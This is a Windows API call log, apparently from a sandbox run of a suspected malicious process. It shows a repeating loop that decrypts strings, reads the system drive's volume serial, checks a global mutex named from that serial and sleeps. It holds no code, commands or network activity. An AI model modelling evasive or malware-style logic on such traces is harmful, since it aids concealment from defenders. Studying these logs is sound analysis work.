	[0217.623] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0217.624] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0217.624] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0217.624] CloseHandle (hObject=0x4d4) returned 1
	[0217.624] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0217.624] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0217.624] Sleep (dwMilliseconds=0x3e8) 
	[0218.802] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0218.802] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645f38) returned 1
	[0218.802] CryptSetKeyParam (hKey=0x645f38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0218.802] CryptDecrypt (in: hKey=0x645f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0218.802] CryptDestroyKey (hKey=0x645f38) returned 1
	[0218.802] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0218.802] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0218.802] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0218.802] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645978) returned 1
	[0218.802] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0218.802] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0218.802] CryptDestroyKey (hKey=0x645978) returned 1
	[0218.802] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0218.802] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0218.802] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0218.802] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0218.802] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0218.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0218.803] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0218.803] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645978) returned 1
	[0218.803] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0218.803] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0218.803] CryptDestroyKey (hKey=0x645978) returned 1
	[0218.803] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0218.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0218.803] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0218.803] CloseHandle (hObject=0x4d4) returned 1
	[0218.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0218.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0218.803] Sleep (dwMilliseconds=0x3e8) 
	[0220.561] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0220.561] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0220.561] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0220.561] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0220.561] CryptDestroyKey (hKey=0x645978) returned 1
	[0220.561] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0220.562] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0220.562] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0220.562] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0220.562] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0220.562] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0220.562] CryptDestroyKey (hKey=0x645b78) returned 1
	[0220.562] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0220.562] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0220.562] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0220.562] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0220.562] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0220.562] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0220.562] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0220.562] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645cf8) returned 1
	[0220.562] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0220.562] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0220.562] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0220.562] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0220.562] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0220.562] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0220.562] CloseHandle (hObject=0x4d4) returned 1
	[0220.562] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0220.562] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0220.562] Sleep (dwMilliseconds=0x3e8) 
	[0222.099] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0222.099] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645b78) returned 1
	[0222.099] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0222.099] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0222.099] CryptDestroyKey (hKey=0x645b78) returned 1
	[0222.099] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0222.099] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0222.099] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0222.099] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645e78) returned 1
	[0222.099] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0222.099] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0222.099] CryptDestroyKey (hKey=0x645e78) returned 1
	[0222.099] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0222.099] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0222.099] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0222.099] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0222.099] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0222.100] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0222.100] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0222.100] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d78) returned 1
	[0222.100] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0222.100] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0222.100] CryptDestroyKey (hKey=0x645d78) returned 1
	[0222.100] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0222.100] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0222.100] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0222.100] CloseHandle (hObject=0x4d4) returned 1
	[0222.100] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0222.100] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0222.100] Sleep (dwMilliseconds=0x3e8) 
	[0223.427] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0223.427] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0223.427] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0223.427] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0223.427] CryptDestroyKey (hKey=0x645978) returned 1
	[0223.427] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0223.427] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0223.427] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0223.427] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645978) returned 1
	[0223.427] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0223.427] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0223.427] CryptDestroyKey (hKey=0x645978) returned 1
	[0223.427] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0223.427] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0223.427] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0223.427] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0223.427] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0223.428] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0223.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0223.428] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645cf8) returned 1
	[0223.428] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0223.428] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0223.428] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0223.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0223.428] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0223.428] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0223.428] CloseHandle (hObject=0x4d4) returned 1
	[0223.428] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0223.428] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0223.428] Sleep (dwMilliseconds=0x3e8) 
	[0224.827] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0224.827] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645cf8) returned 1
	[0224.827] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0224.827] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0224.827] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0224.827] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0224.827] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0224.827] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0224.827] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0224.827] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0224.827] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0224.827] CryptDestroyKey (hKey=0x645b78) returned 1
	[0224.827] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0224.827] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0224.827] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0224.827] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0224.827] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0224.828] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0224.828] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0224.828] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645cf8) returned 1
	[0224.828] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0224.828] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0224.828] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0224.828] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0224.828] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0224.828] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0224.828] CloseHandle (hObject=0x4d4) returned 1
	[0224.828] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0224.828] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0224.828] Sleep (dwMilliseconds=0x3e8) 
	[0225.882] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0225.882] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d78) returned 1
	[0225.882] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0225.882] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0225.882] CryptDestroyKey (hKey=0x645d78) returned 1
	[0225.882] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0225.882] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0225.882] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0225.882] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0225.882] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0225.882] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0225.882] CryptDestroyKey (hKey=0x645b78) returned 1
	[0225.882] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0225.882] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0225.882] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0225.882] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0225.883] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0225.883] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0225.883] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0225.883] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645a38) returned 1
	[0225.883] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0225.883] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0225.883] CryptDestroyKey (hKey=0x645a38) returned 1
	[0225.883] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0225.883] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0225.883] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0225.883] CloseHandle (hObject=0x4d4) returned 1
	[0225.883] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0225.883] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0225.883] Sleep (dwMilliseconds=0x3e8) 
	[0227.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0227.090] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645e78) returned 1
	[0227.090] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0227.090] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0227.090] CryptDestroyKey (hKey=0x645e78) returned 1
	[0227.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0227.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0227.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0227.090] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645a38) returned 1
	[0227.090] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0227.090] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0227.090] CryptDestroyKey (hKey=0x645a38) returned 1
	[0227.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0227.090] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0227.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0227.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0227.090] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0227.091] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
